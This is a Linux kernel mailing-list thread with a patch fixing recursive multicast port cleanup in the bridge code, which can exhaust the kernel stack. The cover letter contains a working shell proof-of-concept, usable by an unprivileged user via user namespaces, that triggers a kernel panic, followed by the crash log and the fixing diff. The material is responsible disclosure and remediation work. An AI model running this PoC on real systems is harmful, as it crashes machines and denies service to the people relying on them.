[PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[Ren Wei]

From: Zixuan Chai <petalzu987@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/bridge/br_multicast.c. The bug is
reachable by a non-root user via user and network namespaces. We've tested
it, and it should not affect any other bridge multicast functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/4342

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
entry, br_multicast_del_pg() then calls
br_multicast_sg_del_exclude_ports() to remove the remaining automatically
added ports. That helper also calls br_multicast_del_pg() for each port,
which re-enters the same cleanup and adds another stack frame per port.
With enough ports, the task hits the kernel stack guard page.

The new internal deletion helper takes a flag controlling this follow-up
cleanup. br_multicast_sg_del_exclude_ports() uses it with the follow-up
disabled while walking the same entry; ordinary deletion callers retain
the existing behavior.

Reproducer:

Run the attached shell PoC as a non-root guest user with iproute2 bridge
MDB filter-mode support:

    sh poc.sh --namespace

The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
EXCLUDE port.

------BEGIN poc.sh------

#!/bin/sh

set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin:$PATH

N="${N:-256}"
BR="${BR:-br0}"
GROUP="${GROUP:-239.1.1.1}"
SOURCE="${SOURCE:-10.0.0.1}"
INC_PORT="${INC_PORT:-e0}"

need_cmd() {
	command -v "$1" >/dev/null 2>&1 || {
		echo "missing command: $1" >&2
		exit 1
	}
}

cleanup() {
	ip link del "$BR" 2>/dev/null || true
	ip link del "$INC_PORT" 2>/dev/null || true

	i=1
	while [ "$i" -le "$N" ]; do
		ip link del "e$i" 2>/dev/null || true
		i=$((i + 1))
	done
}

run_inner() {
	need_cmd ip
	need_cmd bridge

	sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true

	cleanup

	echo "[*] building bridge with $N temporary STAR_EXCL candidates" >&2
	ip link add "$BR" type bridge mcast_snooping 1 mcast_igmp_version 3
	ip link set "$BR" up

	i=1
	while [ "$i" -le "$N" ]; do
		ip link add "e$i" type dummy
		ip link set "e$i" master "$BR"
		ip link set "e$i" up
		i=$((i + 1))
	done

	ip link add "$INC_PORT" type dummy
	ip link set "$INC_PORT" master "$BR"
	ip link set "$INC_PORT" up

	echo "[*] installing (*,G) EXCLUDE ports" >&2
	i=1
	while [ "$i" -le "$N" ]; do
		bridge mdb add dev "$BR" port "e$i" grp "$GROUP" temp \
			filter_mode exclude
		i=$((i + 1))
	done

	echo "[*] installing the permanent (*,G) INCLUDE source that seeds the shared (S,G)" >&2
	bridge mdb add dev "$BR" port "$INC_PORT" grp "$GROUP" permanent \
		filter_mode include source_list "$SOURCE"

	echo "[*] deleting one EXCLUDE port; this recursively tears down every STAR_EXCL S,G port" >&2
	bridge mdb del dev "$BR" port e1 grp "$GROUP"
}

if [ "${1:-}" = "--inner" ]; then
	shift
	run_inner "$@"
	exit 0
fi

if [ "${1:-}" = "--namespace" ]; then
	shift
	exec unshare -Urn -- "$0" --inner "$@"
fi

run_inner "$@"

------END poc.sh--------

----BEGIN crash log----

[  989.150962][    C1] BUG: TASK stack guard page was hit at ffa000000ef8ffd8 (stack is ffa000000ef90000..ffa000000ef98000)
[  989.150999][    C1] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[  989.152881][    C1] CPU: 1 UID: 1001 PID: 14739 Comm: bridge Not tainted 7.3.0-rc4-g11536ee3d3e0 #1 PREEMPT(full) 
[  989.153997][    C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  989.154886][    C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[  989.155441][    C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[  989.157307][    C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[  989.157915][    C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[  989.158672][    C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[  989.159407][    C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  989.160149][    C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[  989.160892][    C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[  989.161636][    C1] FS:  00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[  989.162460][    C1] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  989.163077][    C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[  989.163813][    C1] PKRU: 55555554
[  989.164150][    C1] Call Trace:
[  989.164467][    C1]  <TASK>
[  989.164750][    C1]  lock_acquire+0x1bf/0x370
[  989.165183][    C1]  ? unwind_next_frame+0xbf/0x2300
[  989.165676][    C1]  unwind_next_frame+0xd3/0x2300
[  989.166144][    C1]  ? unwind_next_frame+0xbf/0x2300
[  989.166616][    C1]  ? __unwind_start+0x585/0x810
[  989.167062][    C1]  ? get_stack_info_noinstr+0x18/0x120
[  989.167571][    C1]  __unwind_start+0x50a/0x810
[  989.168010][    C1]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  989.168578][    C1]  arch_stack_walk+0x62/0xf0
[  989.169005][    C1]  ? __unwind_start+0x585/0x810
[  989.169453][    C1]  stack_trace_save+0x8e/0xc0
[  989.169890][    C1]  ? __pfx_stack_trace_save+0x10/0x10
[  989.170366][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.170865][    C1]  ? kernel_text_address+0x11/0x90
[  989.171333][    C1]  ? __kernel_text_address+0xd/0x40
[  989.171797][    C1]  ? unwind_get_return_address+0x59/0xa0
[  989.172298][    C1]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  989.172847][    C1]  kasan_save_stack+0x24/0x50
[  989.173271][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.173766][    C1]  ? stack_trace_save+0x8e/0xc0
[  989.174202][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.174661][    C1]  ? stack_depot_save_flags+0x2d/0xa40
[  989.175147][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.175608][    C1]  ? set_track_prepare+0x3d/0x70
[  989.176047][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.176502][    C1]  ? switchdev_deferred_enqueue+0x139/0x2b0
[  989.177028][    C1]  ? switchdev_port_obj_del+0xfb/0x160
[  989.177512][    C1]  ? br_switchdev_mdb_notify+0x173/0x3b0
[  989.178014][    C1]  ? __br_mdb_notify+0x578/0x810
[  989.178459][    C1]  ? br_multicast_del_pg+0x24f/0x1da0
[  989.178944][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.179436][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.179920][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.180409][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.180901][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.181390][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.181891][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.182383][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.182870][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.183361][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.183853][    C1]  ? ___slab_alloc+0x27a/0x830
[  989.184286][    C1]  ? rcu_is_watching+0x13/0xc0
[  989.184720][    C1]  kasan_save_track+0x14/0x30
[  989.185140][    C1]  __kasan_kmalloc+0xaa/0xb0
[  989.185550][    C1]  __kmalloc_cache_noprof+0x2da/0x6e0
[  989.186034][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.186522][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.186977][    C1]  ref_tracker_alloc+0x172/0x590
[  989.187417][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.187906][    C1]  ? __pfx_ref_tracker_alloc+0x10/0x10
[  989.188392][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.188881][    C1]  ? rcu_is_watching+0x13/0xc0
[  989.189314][    C1]  ? trace_kmalloc+0xda/0x110
[  989.189743][    C1]  ? __kasan_kmalloc+0xaa/0xb0
[  989.190169][    C1]  ? __kmalloc_noprof+0x376/0x810
[  989.190626][    C1]  ? switchdev_deferred_enqueue+0x33/0x2b0
[  989.191144][    C1]  ? __pfx_switchdev_port_obj_del_deferred+0x10/0x10
[  989.191733][    C1]  switchdev_deferred_enqueue+0x139/0x2b0
[  989.192235][    C1]  switchdev_port_obj_del+0xfb/0x160
[  989.192709][    C1]  br_switchdev_mdb_notify+0x173/0x3b0
[  989.193201][    C1]  ? __pfx_br_switchdev_mdb_notify+0x10/0x10
[  989.193742][    C1]  __br_mdb_notify+0x578/0x810
[  989.194171][    C1]  ? arch_irq_work_raise+0x4f/0x70
[  989.194633][    C1]  br_multicast_del_pg+0x24f/0x1da0
[  989.195108][    C1]  ? find_held_lock+0x2b/0x80
[  989.195534][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196010][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196484][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196957][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.197432][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.197925][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.198400][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.198879][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.199351][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.199820][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.200287][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.200757][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.201229][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.201697][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.202172][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.202651][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.203128][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.203609][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.204090][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.204565][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.205048][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.205522][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206000][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206481][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206958][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.207441][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.207920][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.208397][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.208877][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.209366][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.209845][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.210328][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.210802][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.211285][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.211759][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.212240][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.212719][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.213202][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.213689][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.214163][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.214640][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.215122][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.215602][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.216085][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.216568][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.217043][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.217526][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218009][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218493][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218969][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.219446][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.219924][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.220403][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.220879][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.221360][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.221845][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.222324][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.222805][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.223285][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.223770][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.224247][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.224729][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.225201][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.225687][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.226162][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.226645][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.227122][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.227605][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.228089][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.228572][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.229055][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.229537][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230024][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230506][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230988][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.231465][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.231937][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.232411][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.232884][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.233363][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.233843][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.234323][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.234795][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.235278][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.235757][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.236241][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.236719][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.237198][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.237676][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.238156][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.238639][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.239123][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.239604][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.240087][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.240570][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.241051][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.241533][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242012][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242494][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242980][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.243461][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.243938][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.244419][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.244896][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.245370][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.245855][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.246340][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.246822][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.247300][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.247781][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.248261][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.248745][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.249217][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.249698][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.250182][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.250671][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.251152][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.251632][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.252111][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.252592][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.253069][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.253549][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254025][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254507][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254991][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.255475][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.255952][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.256436][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.256913][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.257390][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.257873][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.258351][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.258831][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.259316][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.259794][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.260272][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.260750][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.261231][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.261713][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.262186][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.262664][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.263139][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.263622][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.264097][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.264571][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.265050][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.265532][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266019][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266500][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266978][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.267462][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.267947][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.268426][    C1]  br_multicast_find_del_pg.part.0+0x12c/0x180
[  989.268975][    C1]  br_multicast_star_g_handle_mode+0x503/0xb60
[  989.269525][    C1]  ? __pfx_br_multicast_star_g_handle_mode+0x10/0x10
[  989.270121][    C1]  ? skb_put+0x138/0x1b0
[  989.270510][    C1]  ? __br_mdb_notify+0x54d/0x810
[  989.270960][    C1]  ? br_multicast_del_pg+0x342/0x1da0
[  989.271448][    C1]  br_multicast_del_pg+0x342/0x1da0
[  989.271917][    C1]  ? br_mdb_ip_get+0x62f/0xbe0
[  989.272353][    C1]  __br_mdb_del+0x40a/0x6d0
[  989.272762][    C1]  ? __pfx___br_mdb_del+0x10/0x10
[  989.273218][    C1]  br_mdb_del+0x2ae/0x4c0
[  989.273612][    C1]  ? __pfx_br_mdb_del+0x10/0x10
[  989.274054][    C1]  ? __mutex_lock+0x27a/0x1d90
[  989.274488][    C1]  ? __nla_parse+0x42/0x60
[  989.274894][    C1]  ? __pfx_br_mdb_del+0x10/0x10
[  989.275328][    C1]  rtnl_mdb_del+0x296/0x6a0
[  989.275742][    C1]  ? __pfx_rtnl_mdb_del+0x10/0x10
[  989.276194][    C1]  ? __pfx_rtnl_mdb_del+0x10/0x10
[  989.276642][    C1]  rtnetlink_rcv_msg+0x3cd/0xfa0
[  989.277088][    C1]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  989.277569][    C1]  ? __lock_acquire+0x509/0x2110
[  989.278011][    C1]  netlink_rcv_skb+0x147/0x430
[  989.278443][    C1]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  989.278924][    C1]  ? __pfx_netlink_rcv_skb+0x10/0x10
[  989.279394][    C1]  ? netlink_deliver_tap+0x1ae/0xd10
[  989.279872][    C1]  netlink_unicast+0x58d/0x850
[  989.280302][    C1]  ? __pfx_netlink_unicast+0x10/0x10
[  989.280767][    C1]  ? __pfx_sock_has_perm+0x10/0x10
[  989.281225][    C1]  netlink_sendmsg+0x88d/0xd90
[  989.281658][    C1]  ? __pfx_netlink_sendmsg+0x10/0x10
[  989.282121][    C1]  ? selinux_socket_sendmsg+0x18f/0x2e0
[  989.282616][    C1]  ? __pfx_netlink_sendmsg+0x10/0x10
[  989.283085][    C1]  ____sys_sendmsg+0xa27/0xb90
[  989.283516][    C1]  ? __pfx_____sys_sendmsg+0x10/0x10
[  989.283988][    C1]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[  989.284508][    C1]  ? __pfx_____sys_recvmsg+0x10/0x10
[  989.284978][    C1]  ? copy_msghdr_from_user+0xfb/0x150
[  989.285457][    C1]  ___sys_sendmsg+0x11c/0x1b0
[  989.285877][    C1]  ? __pfx____sys_sendmsg+0x10/0x10
[  989.286337][    C1]  ? ___sys_recvmsg+0x110/0x190
[  989.286769][    C1]  ? __pfx____sys_recvmsg+0x10/0x10
[  989.287236][    C1]  ? __css_rstat_updated+0x1c0/0x570
[  989.287718][    C1]  ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[  989.288293][    C1]  __sys_sendmsg+0x142/0x1f0
[  989.288710][    C1]  ? __pfx___sys_sendmsg+0x10/0x10
[  989.289178][    C1]  do_syscall_64+0x128/0x7b0
[  989.289594][    C1]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  989.290126][    C1] RIP: 0033:0x4902f7
[  989.290470][    C1] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 89 74 24 10
[  989.292145][    C1] RSP: 002b:00007ffe5186f578 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[  989.292880][    C1] RAX: ffffffffffffffda RBX: 00007ffe5186f740 RCX: 00000000004902f7
[  989.293563][    C1] RDX: 0000000000000000 RSI: 00007ffe5186f5e0 RDI: 0000000000000003
[  989.294253][    C1] RBP: 00007ffe5186fe10 R08: 000000000000001c R09: 0000000000000004
[  989.294945][    C1] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe5186f720
[  989.295638][    C1] R13: 000000006ab5eb89 R14: 000000000053e160 R15: 00007ffe51871f0f
[  989.296338][    C1]  </TASK>
[  989.296613][    C1] Modules linked in:
[  989.296967][    C1] ---[ end trace 0000000000000000 ]---
[  989.297452][    C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[  989.297464][    C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[  989.297475][    C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[  989.297485][    C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[  989.297492][    C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[  989.297499][    C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  989.297506][    C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[  989.297513][    C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[  989.297520][    C1] FS:  00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[  989.297533][    C1] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  989.297540][    C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[  989.297548][    C1] PKRU: 55555554
[  989.297554][    C1] Kernel panic - not syncing: Fatal exception in interrupt
[  989.306934][    C1] Kernel Offset: disabled
[  989.307317][    C1] Rebooting in 86400 seconds..

-----END crash log-----

Zixuan Chai (1):
  net: bridge: avoid recursive multicast port cleanup

 net/bridge/br_multicast.c | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

-- 
2.34.1

[PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup

[Ren Wei]

From: Zixuan Chai <petalzu987@gmail.com>

br_multicast_sg_del_exclude_ports() removes automatically added STAR_EXCL
port groups by calling br_multicast_del_pg(). For S,G entries, that
deletion calls back into br_multicast_sg_del_exclude_ports(), so a large
number of STAR_EXCL ports consumes one kernel stack frame per port and can
hit the stack guard page.

Keep the complete port-group deletion path for cleanup, but suppress the
S,G exclude-port cleanup while that helper is already walking the same
entry. Normal deletion callers retain the existing behavior.

Fixes: 8266a0491e92 ("net: bridge: mcast: handle port group filter modes")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/bridge/br_multicast.c | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c
index 2f9bb30e1a1f..3fbad7b59769 100644
--- a/net/bridge/br_multicast.c
+++ b/net/bridge/br_multicast.c
@@ -81,6 +81,10 @@ __br_multicast_add_group(struct net_bridge_mcast *brmctx,
 			 bool blocked);
 static void br_multicast_find_del_pg(struct net_bridge *br,
 				     struct net_bridge_port_group *pg);
+static void __br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+				  struct net_bridge_port_group *pg,
+				  struct net_bridge_port_group __rcu **pp,
+				  bool sg_del_exclude_ports);
 static void __br_multicast_stop(struct net_bridge_mcast *brmctx);
 
 static int br_mc_disabled_update(struct net_device *dev, bool value,
@@ -458,7 +462,7 @@ static void br_multicast_sg_del_exclude_ports(struct net_bridge_mdb_entry *sgmp)
 	for (pp = &sgmp->ports;
 	     (p = mlock_dereference(*pp, sgmp->br)) != NULL;) {
 		if (!(p->flags & MDB_PG_FLAGS_PERMANENT))
-			br_multicast_del_pg(sgmp, p, pp);
+			__br_multicast_del_pg(sgmp, p, pp, false);
 		else
 			pp = &p->next;
 	}
@@ -799,9 +803,10 @@ static void br_multicast_destroy_port_group(struct net_bridge_mcast_gc *gc)
 	kfree_rcu(pg, rcu);
 }
 
-void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
-			 struct net_bridge_port_group *pg,
-			 struct net_bridge_port_group __rcu **pp)
+static void __br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+				  struct net_bridge_port_group *pg,
+				  struct net_bridge_port_group __rcu **pp,
+				  bool sg_del_exclude_ports)
 {
 	struct net_bridge *br = pg->key.port->br;
 	struct net_bridge_group_src *ent;
@@ -820,7 +825,8 @@ void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
 	if (!br_multicast_is_star_g(&mp->addr)) {
 		rhashtable_remove_fast(&br->sg_port_tbl, &pg->rhnode,
 				       br_sg_port_rht_params);
-		br_multicast_sg_del_exclude_ports(mp);
+		if (sg_del_exclude_ports)
+			br_multicast_sg_del_exclude_ports(mp);
 	} else {
 		br_multicast_star_g_handle_mode(pg, MCAST_INCLUDE);
 	}
@@ -832,6 +838,13 @@ void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
 		mod_timer(&mp->timer, jiffies);
 }
 
+void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+			 struct net_bridge_port_group *pg,
+			 struct net_bridge_port_group __rcu **pp)
+{
+	__br_multicast_del_pg(mp, pg, pp, true);
+}
+
 static void br_multicast_find_del_pg(struct net_bridge *br,
 				     struct net_bridge_port_group *pg)
 {
-- 
2.34.1

Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[Andrew Lunn]

On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
> From: Zixuan Chai <petalzu987@gmail.com>
